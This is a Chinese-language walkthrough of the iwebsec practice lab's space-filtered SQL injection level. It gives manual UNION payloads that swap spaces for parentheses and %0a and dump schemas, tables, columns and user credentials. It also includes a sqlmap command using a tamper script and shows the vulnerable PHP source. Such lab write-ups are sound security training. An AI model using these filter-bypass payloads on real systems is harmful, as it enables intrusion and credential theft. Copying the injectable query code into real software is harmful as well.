iwebsec-sql注入 07 空格过滤

发布时间 2023-08-18 19:20:49作者: 别打扰我摸鱼

01、题目分析

空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入

02、手工注入

既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这里使用的是括号以及url编码%0a代表空格

依旧是先测试是字符型还是数字型

id=(0)and(1)=(2)
//页面正常但是无数据显示
id=(0)and(1)=(1)
//页面正常有回显,数字型

剩下的只需要将sql注入语句中的空格全部替换成编码即可

以下附送python脚本

def replace_spaces(sentence, replacement):
    # sentence: 输入的语句
    # replacement: 要替换空格的特定字符
    # 返回替换后的结果

    # 使用replace()函数将空格替换为指定字符
    replaced_sentence = sentence.replace(' ', replacement)

    return replaced_sentence


# 从用户输入获取语句和要替换的特定字符
input_sentence = input("请输入语句:")
replacement_character = '%0a'

# 调用函数进行空格替换
result = replace_spaces(input_sentence, replacement_character)

# 打印替换后的结果
print("替换后的结果:", result)
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(3)
-- 暴库
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)
-- 暴表
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())
-- 暴列
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users'))
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)

02、工具注入

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1"  --current-db --dump --batch --tamper "space2comment.py"

image

03、代码分析

<?php
  if(isset($_GET['id'])){
    // 检查是否存在GET参数"id"
    if (preg_match('/ /', $_GET["id"])) {
      // 如果"id"参数中包含空格,则终止执行并输出"ERROR"
      die("ERROR");
    } else {
      // 否则,获取"id"参数的值
      $id=$_GET['id'];
      // 构造SQL查询语句
      $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
      // 执行SQL查询
      $result=mysql_query($sql);
    }
  } else {
    // 如果不存在GET参数"id",则终止执行
    exit();
  }
  
  // 如果查询结果存在
  if ($result) {
    ?>
    <table class='table table-striped'>
    <tr><th>id</th><th>name</th><th>age</th></tr>
    <?php
    // 循环遍历查询结果集中的每一行
    while ($row = mysql_fetch_assoc($result)) {
      echo "<tr>";
      echo "<td>".$row['id']."</td>";
      echo "<td>".$row['username']."</td>";
      echo "<td>".$row['password']."</td>";
      echo "</tr>";
    }
    echo "</table>";
  } else {
    // 如果查询结果不存在,则打印MySQL错误信息
    // 注意:下面两行代码被注释掉了,可能会导致错误信息不可见
    // echo '<font color= "#FFFFFF">';
    print_r(mysql_error());
    // echo "</font>";  
  }
  
  // 包含footer.php文件
  require_once '../footer.php';
?>